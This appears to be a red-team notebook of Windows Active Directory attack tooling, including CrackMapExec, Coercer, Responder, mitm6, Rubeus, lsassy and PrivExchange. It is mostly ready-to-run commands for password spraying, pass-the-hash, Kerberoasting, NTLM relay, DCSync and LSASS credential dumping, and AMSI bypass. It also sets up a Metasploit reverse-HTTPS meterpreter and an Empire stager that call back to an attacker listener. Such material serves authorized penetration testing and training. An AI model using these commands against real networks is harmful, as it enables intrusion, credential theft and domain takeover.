usage: coercer.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] [-v] [-a] [-k] [--dc-ip ip address] [-l LISTENER] [-wh WEBDAV_HOST] [-wp WEBDAV_PORT]
                  (-t TARGET | -f TARGETS_FILE) [--target-ip ip address]

Automatic windows authentication coercer over various RPC calls.

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        Username to authenticate to the endpoint.
  -p PASSWORD, --password PASSWORD
                        Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)
  -d DOMAIN, --domain DOMAIN
                        Windows domain name to authenticate to the endpoint.
  --hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  --no-pass             Don't ask for password (useful for -k)
  -v, --verbose         Verbose mode (default: False)
  -a, --analyze         Analyze mode (default: Attack mode)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
                        command line
  --dc-ip ip address    IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -t TARGET, --target TARGET
                        IP address or hostname of the target machine
  -f TARGETS_FILE, --targets-file TARGETS_FILE
                        IP address or hostname of the target machine
  --target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it

  -l LISTENER, --listener LISTENER
                        IP address or hostname of the listener machine
  -wh WEBDAV_HOST, --webdav-host WEBDAV_HOST
                        WebDAV IP of the server to authenticate to.
  -wp WEBDAV_PORT, --webdav-port WEBDAV_PORT
                        WebDAV port of the server to authenticate to.
```

### Coerced SMB authentication demonstration

Here is a video demonstration of the attack mode against a target:

<https://user-images.githubusercontent.com/79218792/177647814-bb04f728-96bb-4048-a3ad-f83b250c05bf.mp4>

### Coerced WebDAV authentication demonstration

If you want to trigger an HTTP authentication, you can use WebDAV with `--webdav-host` and the netdbios name of your attacking machine! Here is an example:

<https://user-images.githubusercontent.com/79218792/178027554-a0b084d8-10af-401a-b54c-f33bec011fe2.mp4>

### Example output

In attack mode (without `--analyze` option) you get the following output:

After all the RPC calls, you get plenty of authentications in Responder:

### Contributing

Pull requests are welcome. Feel free to open an issue if you want to add other features.

### Credits

* [@topotam77](https://twitter.com/topotam77) for **PetitPotam** on [MS-EFSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)
* [@topotam77](https://twitter.com/topotam77) and [@\_nwodtuhs](https://twitter.com/_nwodtuhs) for **ShadowCoerce** on [MS-FSRVP](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)
* [@filip\_dragovic](https://twitter.com/filip_dragovic) for **DFSCoerce** on [MS-DFSNM](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979)


# CrackMapExec

{% embed url="<https://github.com/Porchetta-Industries/CrackMapExec>" %}

## Installation

Run the mass tools script and it will install it. \
<https://mpgn.gitbook.io/crackmapexec/>

## Using Credentials

Every protocol supports using credentials in one form or another.

\--crackmapexec \<target(s)> -u username -p password

\--crackmapexec \<target(s)> -u username -p 'Admin!123@'

From Database:

\--crackmapexec \<target(s)> -id \<cred ID(s)>

Multi-domain Env:

\--crackmapexec \<target(s)> -p FILE -u password

Where file is...&#x20;

DOMAIN1\user

&#x20;DOMAIN2\user

Brute Force / Password Spraying:

\--crackmapexec \<target(s)> -u username1 -p password1 password2

\--crackmapexec \<target(s)> -u username1 username2 -p password1

\--crackmapexec \<target(s)> -u \~/file\_containing\_usernames -p \~/file\_containing\_passwords

\--crackmapexec \<target(s)> -u \~/file\_containing\_usernames -H \~/file\_containing\_ntlm\_hashes

Password Spraying without BruteForce:

\--crackmapexec \<target(s)> -u \~/file\_containing\_usernames -H \~/file\_containing\_ntlm\_hashes --no-bruteforce

\--crackmapexec \<target(s)> -u \~/file\_containing\_usernames -p \~/file\_containing\_passwords --no-bruteforce

## Using Kerberos

CME does support Kerberos authentication, use KRB5CCNAME env name to specify the ticket. When using the option --kerberos, you need to specify the same hostname (FQDN) as the one from the kerberos ticket

\--export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache

\--sudo cme smb zoro.gold.local --kerberos -x whoami

\--export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache

\--cme smb zoro.gold.local --kerberos

\--sudo cme smb zoro.gold.local --kerberos -x whoami

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2Ft7PxDzDE29U4uxUOX0TI%2Fimage.png?alt=media\&token=3b1e60ee-590d-4b4d-84a2-e883414b2910)

## Using Modules

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FNCFvgsQM1aHBGYTDZI3Y%2Fimage.png?alt=media\&token=ddef99d2-077f-4e98-9250-459084903306)

## Using Database

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FK0nEOGtBNpirhJmRIn64%2Fimage.png?alt=media\&token=28ccce00-e5f2-4b6e-be29-7408a7e5893c)

## SMB - Scanning for Vulns

When you start your internal pentest, this is the first modules you should try:

Zerologon:

\--crackmapexec smb \<ip> -u '' -p '' -M zerologon

PetitPotam:

\--crackmapexec smb -u '' -p '' -M petitpotam

noPAC:

\--crackmapexec smb -u 'user' -p 'pass' -M nopac

## Enumeration

Returns a list of live hosts:

\-- cme smb 192.168.1.0/24

Checks for Null Sessions

\--cme smb 10.10.10.161 -u '' -p ''

\--cme smb 10.10.10.161 --pass-pol

\--cme smb 10.10.10.161 --users

\--cme smb 10.10.10.161 --groups

You can also use...

\--smbclient -N -U "" -L \10.10.10.161

\--rpcclient -N -U "" -L \10.10.10.161

\--rpcclient $> enumdomusers

Pulling Password Policy:

\--cme smb 10.10.10.161 -u '' -p '' --pass-pol

Anonymous logon: (make sure password is empty)

\--cme smb 10.10.10.178 -u 'a' -p ''

You can also use...

\--smbclient -N -L \10.10.10.178

\--rpcclient -N -L 10.10.10.178

Enumerate active sessions on remote target:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

Enumerate permissions on all shares:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

Enumerate disks on remote target:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks

Enumerate logged on users:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users

Enumerate domain users:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users

Enumerate users by bruteforcing the RID on the remote target:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute

Enumerate domain groups:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups

Enumerate local groups on the remote target:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-groups

Enumerates host with SMB signing not required: Maps the network of live hosts and saves a list of only the hosts that don't require SMB signing.

\--cme smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt

\--cat relaylistOutputFilename.txt

Checking domain credentials against a subnet:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'

After obtaining credentials such as Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c::: you can use both the full hash or just the nt hash (second half)

\--cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'

\--cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'

\--cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'

\--cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'

Checking local credentials:

\--cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth

\--cme smb 192.168.1.0/24 -u '' -p '' --local-auth

\--cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth

\--cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth

\--cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth

\--cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

## Command Execution

CME has three different command execution methods:

1. wmiexec executes commands via WMI
2. atexec executes commands by scheduling a task with windows task scheduler
3. smbexec executes commands by creating and running a service&#x20;

By default CME will fail over to a different execution method if one fails. It attempts to execute commands in the following order:

1. wmiexec
2. atexec
3. smbexec&#x20;

If you want to force CME to use only one execution method you can specify which one using the --exec-method flag. In the following example, we try to execute whoami on the target using the -x flag:

\--crackmapexec 192.168.10.11 -u Administrator -p 'P\@ssw0rd' -x whoami

You can also directly execute PowerShell commands using the -X flag:

\--crackmapexec 192.168.10.11 -u Administrator -p 'P\@ssw0rd' -X '$PSVersionTable'

Bypass AMSI:

\--crackmapexec 192.168.10.11 -u Administrator -p 'P\@ssw0rd' -X '$PSVersionTable' --amsi-bypass /path/payload

For example:

\--poetry run crackmapexec smb 192.168.10.11 -u Administrator -p 'P\@ssw0rd' -X '$PSVersionTable' --smb-server-port 1337

Will not work, blocked by AV

\--poetry run crackmapexec smb 192.168.10.11 -u Administrator -p 'P\@ssw0rd' -X '$PSVersionTable' --smb-server-port 1337 --amsi-bypass /tmp/amsi

Will worked, command executed.

## Getting Shells

We can use the empire\_exec module to execute an Empire Agent's initial stager. In the background, the module connects to Empire's RESTful API, generates a launcher for the specified listener and executes it.

First setup the rest API:

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FHtBYO4PGLLcHChfxfDGd%2Fimage.png?alt=media\&token=5132a375-a2ef-4333-83b9-603ddc831e65)

Then just run the empire\_exec module and specify the listener name:

\--crackmapexec 192.168.10.0/24 -u username -p password -M empire\_exec -o LISTENER=test

Meterpreter: We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script. On your Metasploit instance, run the following commands

> use exploit/multi/script/web\_delivery

The SRVHOST and SRVPORT variables are used for running the webserver to host the script

> set SRVHOST 10.211.55

> set SRVPORT 8443

The target variable determines what type of script we're using. 2 is for PowerShell

> set target 2

Pick your payload. In this case, we'll use a reverse https meterpreter payload

> set payload windows/meterpreter/reverse\_https

> set LHOST 10.211.55

> set LPORT 443

> run

Once run, the web\_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session. Then just run the met\_inject module and specify the LHOST and LPORT values:

\--crackmapexec 192.168.10.0/24 -u username -p password -M met\_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http

## Spidering Shares

The module spider\_plus allows you to list and dump all files from all readable shares&#x20;

List all readable files:

\--crackmapexec smb 10.10.10.10 -u 'user' -p 'pass' -M spider\_plus

Dump all files (-o READ\_ONLY=false all files will be copied on the host):

\--crackmapexec smb 10.10.10.10 -u 'user' -p 'pass' -M spider\_plus -o READ\_ONLY=false

## Sending files to Remote Targets

\--cme smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \Windows\Temp\whoami.txt

Grab a file fromt he remote target:

\--cme smb 172.16.251.152 -u user -p pass --get-file \Windows\Temp\whoami.txt /tmp/whoami.txt

## Dumping Creds

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FZka7kZeKUDa1BFCQAEEd%2Fimage.png?alt=media\&token=8ce6bc5c-92a3-4937-afe9-03c0f1cbad4c)

## CME when LAPS is installed on the Domain

If LAPS is used inside the domain, is can be hard to use CrackMapExec to execute a command on every computer on the domain. Therefore, a new core option has been added --laps ! If you have compromised an accout that can read LAPS password you can use CrackMapExec like this

\--crackmapexec smb -u user-can-read-laps -p pass --laps

\--crackmapexec smb -u user-can-read-laps -p pass --laps --sam

## Checking if the Service Spooler is running

\--crackmapexec smb -u 'user' -p 'pass' -M spooler

Checking if service webdav is running:

\--crackmapexec smb -u 'user' -p 'pass' -M webdav

## LDAP Authentication

Testing creds:

\--cme ldap 192.168.1.0/24 -u user -p password

\--cme ldap 192.168.1.0/24 -u user -H A29F7623FD11550DEF0192DE9246F46B

(domain name resolution is required)

ASREP Roast: You can retrieve the Kerberos 5 AS-REP etype 23 hash of users without Kerberos pre-authentication required if you have a list of users on the domain The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an AS\_REQ request to the KDC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline. More detail in Kerberos theory.

\--cme ldap 192.168.0.104 -u harry -p '' --asreproast output.txt

Using a wordlist, you can find wordlists of username here

\--cme ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt

With authentication..... If you have one valid credential on the domain, you can retrieve all the users and hashs where the Kerberos pre-authentication is not required

\--cme ldap 192.168.0.104 -u harry -p pass --asreproast output.txt

Use option kdcHost when the domain name resolution fail

\--cme ldap 192.168.0.104 -u harry -p pass --asreproast output.txt --kdcHost domain\_name

To crack hashes on the file output.txt with hashcat use the following options:

\--hashcat -m18200 output.txt wordlist

Kerberoasting: You can retrieve the Kerberos 5 TGS-REP etype 23 hash using Kerberoasting technique The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets is encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline. More detail in Kerberos theory. To perfom this attack, you need an account on the domain

\--cme ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt

\--hashcat -m13100 output.txt wordlist.txt

Unconstrained Delegation: CrackMapExec allows you to retrieve the list of all computers et users with the flag TRUSTED\_FOR\_DELEGATION

\--cme ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation

Admin Count: adminCount Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).

\--cme ldap 192.168.255.131 -u adm -p pass --admin-count

Exploit ESC8 (adcs): List all PKI enrollment Server:

\--crackmapexec run ldap -u user -p pass -M adcs

List all certificates inside a PKI:

\--crackmapexec run ldap -u user -p pass -M adcs -o SERVER=xxxx

## WINRM Protocol

Password spraying (without Brute force)

\--cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce

Testing creds:

\--cme winrm 192.168.1.0/24 -u user -p password

If the SMB port is closed you can also use the flag -d DOMAIN to avoid an SMB connection

\--cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN

Command Execution:

\--cme winrm 192.168.255.131 -u user -p 'password' -X whoami

Using CrackMapExec when LAPS installed on the domain If LAPS is used inside the domain, is can be hard to use CrackMapExec to execute a command on every computer on the domain. Therefore, a new core option has been added --laps ! If you have compromised an accout that can read LAPS password you can use CrackMapExec like this

\--crackmapexec winrm -u user-can-read-laps -p pass --laps

## MSSQL

Password spraying w/o brute

\--cme mssql 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce

Windows auth: With SMB port open...

\--cme mssql 10.10.10.52 -u james -p 'J\@m3s\_P\@ssW0rd!'

With SMB port closed, add the domain flag

\--cme mssql 10.10.10.52 -u james -p 'J\@m3s\_P\@ssW0rd!' -d HTB

Local auth use the --local-auth command.

\--cme mssql 10.10.10.52 -u admin -p 'm$$ql\_S@\_P\@ssW0rd!' --local-auth

Specify ports..

\--cme mssql 10.10.10.52 -u admin -p 'm$$ql\_S@\_P\@ssW0rd!' --port 1434

MSSQL Privesc:

\--cme mssql -u user -p password -M mssql\_priv

Execute MSSQL commands:

\--cme mssql 10.10.10.52 -u admin -p 'm$$ql\_S@\_P\@ssW0rd!' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

Windows commands:

\--cme mssql 10.10.10.59 -u sa -p 'GWE3V65#6KFH93\@4GWTG2G' --local-auth -x whoami

## SSH

Password spraying..

\--cme ssh 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce

Testing Creds:

\--cme ssh 192.168.1.0/24 -u user -p password

\--cme http 192.168.1.0/24 --port 2222

Command execution:

\--cme ssh 127.0.0.1 -u user -p password -x whoami

## RDP

Password spraying...

\--poetry run crackmapexec rdp 192.168.1.0/24 -u user -p password

\--poetry run crackmapexec rdp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce


# DCSync

DCSync is used to verify that the hash found can be easily cracked. The easiest way is through the Beacon in C2.

## Steps

First you need to add the creds to the credentials in C2. Then you can run the following command:

> beacon > make\_token DOMAIN\user Pass
>
> beacon > ls \\\DC IP\C$ <br>

^ Use this to confirm that is correct. Now we should have a token! We can DCSync.

> beacon > dcsync domain\user

If this is run correctly then you should receive the hash to be pulled and cracked offline

If this does not work, then we will need to pivot over to impacket-secretsdump, here we can try and pull this data

$ impacket-secretsdump --outfile FILENAME.txt domain/user:password@\<DCIP>

$ rev2sef - this clears out the token we created

## Mimikatz DCSync

Notes: Run this in the same CMD session witht he imported tgt ticket

$ mimikatz.exe lsadump::dcsync /domain:example.com /user:<useraccount@example.com>


# DFSCoerce

{% embed url="<https://github.com/Wh04m1001/DFSCoerce>" %}

## Example Command

$ python3 dfscoerce.py -u \<username> -d \<domain> \<my ip> \<DC Ip>


# DonPAPI

{% embed url="<https://github.com/login-securite/DonPAPI>" %}

## Dumps all secrets of the Target Machine with an Admin Account

$ DonPAPI.py domain/user:passw0rd\@target

## Using the User's hash

$ DonPAPI.py --hashes : domain/user\@target

## Using Kerberos (-k) and local auth (-local\_auth)

$ DonPAPI.py -k domain/user\@target

$ DonPAPI.py -local\_auth user\@target


# WMIEXEC

## Remote Access

$ impacket-wmiexec \<domain>/\<user>@\<IP> -hashes :\<hash>

$ impacket-wmiexec \<domain>/\<user>:\<password>@\<IP>


# Kerberoasting

$ powershell-import autokerberoast.ps1

$ powerpick invoke-autokerberoast -Groupname "\**admin\**"

## Kerberoast With GetUserSPNs.py

$ python3 GetUserSPNs.py -request -dc-ip \<DC IP HERE> Domain/User

## GetUserSPNs.py (Alt method, has issues for me sometimes)

$ python GetUserSPNs.py -request -dc-ip \<DC IP> \<Domain>/\<Username> -outputfile hashcat -debug

^ With this way, we can get a hash to crack with hashcat

## ASEPRoasting

For more commands / info, check out Rubeus


# Lsassy

{% embed url="<https://github.com/Hackndo/lsassy>" %}

## Installation

$ git clone <https://github.com/Hackndo/lsassy.git>

$ python3 -m pip install lsassy

$ python3 setup.py install

## Basic Usage

$ lsassy \[-d domain] -u user -p password targets

$ lsassy \[-d domain] -u user -H \[LM:]NT targets

$ lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24

$ lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.1-10

$ lsassy -d adsec.local -u pixis -p p4ssw0rd hosts.txt

$ lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.1-192.168.1.10

LSASSY provides some additional, more advanced, tools. The github has a good write-up of these tools. This include Pass-the-Has, Cleartext Credentials, Kerberos and so on.

## CME add-on to dump creds

$ cme smb 192.168.255.131 -u administrator -p pass -M lsassy


# mitm6

## Installation

$ git clone <https://github.com/fox-it/mitm6.git>

$ cd mitm6

$ pip install .

$ mitm6 -d \<domain>

## USE WITH NTLMRELAYX

Notice the IPv6 address as a DNS server. Now the real vulnerability is that Windows prefers IPv6 over IPv4, meaning I now control DNS. So now we leverage the fact that we control DNS with spoofing WPAD answers again via ntlmrelayx.py. I wrote a guide on how to set it up here. With mitm6 running in one window, open another and run ntlmrelayx.py.&#x20;

$ ntlmrelayx.py -wh \<Attacker IP> -t smb://\<Domain Controller>/

OR

$ ntlmrelayx.py -t ldap\://\<IP of DC>/

-wh: Server hosting WPAD file (Attacker’s IP)

-t: Target (You cannot relay credentials to the same device that you’re spoofing)

WIth the second command, it can dump loot which can be used to run up bloodhound!

{% embed url="<https://github.com/dirkjanm/mitm6>" %}


# Pcredz

\*\*\* Monitor SMB (or other cleartext protocols) Traffic for Hashes \*\*\*

## Example Commands

./Pcredz -i eth0 -v -t -c

{% embed url="<https://github.com/lgandx/PCredz>" %}


# PowerSploit

## Example Commands

* ./powerrpick Invoke-UserHunter -UserName "" (/opt/PowerSploit/Recon/PowerView\.ps1)
* ./powerpick Invoke-ShareFinder -CheckShareAccess (/opt/PowerSploit/Recon/PowerView\.ps1)
* ./powerpick Find-LocalAdminAccess (/opt/PowerSploit/Recon/PowerView\.ps1)
* ./powerpick Invoke-AllChecks (/opt/PowerSploit/Privesc/PowerUp.ps1)

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}


# PrivExchange

## Good Resources to follow

{% embed url="<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>" %}

## Abusing Exchange with a credential

$ python3 privexchange.py -ah \<My Internal IP> \<Mail Domain Here> -u \<Target Username> -d \<domain name>

$ python3 ntlmrelayx.py -t ldap\://\<FQDN of DC here> --escalate-user \<Target Username>

## Walkthrough

PrivExchange takes advantage of the fact that Exchange servers are over-permissioned by default. This was discovered by Dirkjann a little over a month ago and is now an excellent way of quickly escalating privileges. It works by querying the Exchange server, getting a response back that contains the Exchange server’s credentials, then relaying the credentials in the response to the Domain Controller via ntlmrelayx, then modifying a user’s privileges so they can dump the hashes on the domain controller. Setting this up was kind of a pain. Exchange 2013 is installed using the default methods on a Windows 2012 R2 server, and I made this modification to the PrivExchange python script to get it to work without a valid SSL certificate. After that, it ran fine. First, start ntlmrelayx.py and point it to a DC, authenticate via LDAP and escalate privileges for a user.

$ python3 ntlmrelayx.py -t ldap\:// --escalate-user

Then, run privexchange.py by passing in your attacker IP (-ah), the target, and user/password/domain.

$ python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201

Privexchange.py makes the API call to the exchange. If the permissions are set correctly, we can escalate the targeted user to have DA privs. NTLM relays the servers creds to the master DC, then escalates \<test user>  privs.

We can then use secretsdump.py to dump the hashes on the DC!

$ secretsdump.py /@ -just-dc

{% embed url="<https://github.com/dirkjanm/PrivExchange>" %}


# Responder / RunFinger

Load up the Poisoner!

## Analysis mode

$ python Responder.py -I -A

## Business Mode

$ python Responder.py -I -rdwP

## Business Mode Proxy Auth

$ python Responder.py -I -P -v -r

## Typical Responder Flow

Disable SMB and HTTP in /usr/share/responder/Responder.conf

$ python3 Responder.py -wPd --disable-ess

$ python3 Responder.py -I eth0 --wpad

$ ython3 Responder.py —wPd -I eth0

## RunFinger

RunFinger is another Responder-related utility which will finger a single IP address or an IP subnet and will reveal (among other useful information) if # a target requires SMB Signing or not. This information will help with choosing targets for the MultiRelay script.

$ ./RunFinger.py -i 10.10.10.0/24

{% embed url="<https://github.com/SpiderLabs/Responder>" %}

{% embed url="<https://github.com/tholum/PiBunny/blob/master/system.d/library/tools_installer/tools_to_install/responder/tools/RunFinger.py>" %}


# Rubeus

## Building Rubeus

Open the .sln in visual studio and go to Build > Build Rubeus before the expired license comes up ;)

By default, it installs the exe in the Rubeus\bin\Debug\ folder.

## Importing ticket with certificate

$ Rubeus.exe asktgt /user:DC# /domain:\<domain name> /certificate:\<base cert> /ptt

After this you should get "Ticket Successfully Imported"

At this point you are effectively that DC, you can then runs things almost as a Domain Admin. Such as dcsync for a DA account

## Kerberoasting

$ Rubeus.exe kerberoast /outfile:kerbhashes.txt /format:hashcat /domain:\<domain> /dc:\<FQDN of dc> /creduser:\<user>

## Asreproast

On a ps instance being ran as netuser for the cracked user account....

$ .\Rubeus.exe asreproast

If no users have 'Do not require Kerberos preauth' checked, then there wont be any users to roast. But if there is....

We get a hash for the user and crack it!

{% embed url="<https://github.com/GhostPack/Rubeus>" %}


# Seatbelt

{% embed url="<https://github.com/GhostPack/Seatbelt>" %}

Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

[@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect.

[@harmj0y](https://twitter.com/harmj0y) and [@tifkin\_](https://twitter.com/tifkin_) are the primary authors of this implementation.

Seatbelt is licensed under the BSD 3-Clause license.

## Table of Contents

* [Seatbelt](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Table of Contents](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Command Line Usage](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Command Groups](broken://pages/E7o6UxOCYRLaq244aIah)
    * [system](broken://pages/E7o6UxOCYRLaq244aIah)
    * [user](broken://pages/E7o6UxOCYRLaq244aIah)
    * [misc](broken://pages/E7o6UxOCYRLaq244aIah)
    * [Additional Command Groups](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Command Arguments](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Output](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Remote Enumeration](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Building Your Own Modules](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Compile Instructions](broken://pages/E7o6UxOCYRLaq244aIah)
  * [Acknowledgments](broken://pages/E7o6UxOCYRLaq244aIah)

## Command Line Usage

```


                        %&&@@@&&
                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%
                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####
###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####
#####%######################  %%%..                       @////(((&%%%%%%%################
                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*
                        &%%&&&%%%%%        v1.2.0         ,(((&%%%%%%%%%%%%%%%%%,
                         #%%%%##,


Available commands (+ means remote usage is supported):

    + AMSIProviders          - Providers registered for AMSI
    + AntiVirus              - Registered antivirus (via WMI)
    + AppLocker              - AppLocker settings, if installed
      ARPTable               - Lists the current ARP table and adapter information (equivalent to arp -a)
      AuditPolicies          - Enumerates classic and advanced audit policy settings
    + AuditPolicyRegistry    - Audit settings via the registry
    + AutoRuns               - Auto run executables/scripts/programs
      Certificates           - Finds user and machine personal certificate files
      CertificateThumbprints - Finds thumbprints for all certificate store certs on the systen
    + ChromiumBookmarks      - Parses any found Chrome/Edge/Brave/Opera bookmark files
    + ChromiumHistory        - Parses any found Chrome/Edge/Brave/Opera history files
    + ChromiumPresence       - Checks if interesting Chrome/Edge/Brave/Opera files exist
    + CloudCredentials       - AWS/Google/Azure/Bluemix cloud credential files
    + CloudSyncProviders     - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
      CredEnum               - Enumerates the current user's saved credentials using CredEnumerate()
    + CredGuard              - CredentialGuard configuration
      dir                    - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [maxDepth] [regex] [boolIgnoreErrors]
    + DNSCache               - DNS cache entries (via WMI)
    + DotNet                 - DotNet versions
    + DpapiMasterKeys        - List DPAPI master keys
      Dsregcmd               - Return Tenant information - Replacement for Dsregcmd /status
      EnvironmentPath        - Current environment %PATH$ folders and SDDL information
    + EnvironmentVariables   - Current environment variables
    + ExplicitLogonEvents    - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
      ExplorerMRUs           - Explorer most recently used files (last 7 days, argument == last X days)
    + ExplorerRunCommands    - Recent Explorer "run" commands
      FileInfo               - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
    + FileZilla              - FileZilla configuration files
    + FirefoxHistory         - Parses any found FireFox history files
    + FirefoxPresence        - Checks if interesting Firefox files exist
    + Hotfixes               - Installed hotfixes (via WMI)
      IdleTime               - Returns the number of seconds since the current user's last input.
    + IEFavorites            - Internet Explorer favorites
      IETabs                 - Open Internet Explorer tabs
    + IEUrls                 - Internet Explorer typed URLs (last 7 days, argument == last X days)
    + InstalledProducts      - Installed products via the registry
      InterestingFiles       - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
    + InterestingProcesses   - "Interesting" processes - defensive products and admin tools
      InternetSettings       - Internet settings including proxy configs and zones configuration
    + KeePass                - Finds KeePass configuration files
    + LAPS                   - LAPS settings, if installed
    + LastShutdown           - Returns the DateTime of the last system shutdown (via the registry).
      LocalGPOs              - Local Group Policy settings applied to the machine/local users
    + LocalGroups            - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
    + LocalUsers             - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
    + LogonEvents            - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
    + LogonSessions          - Windows logon sessions
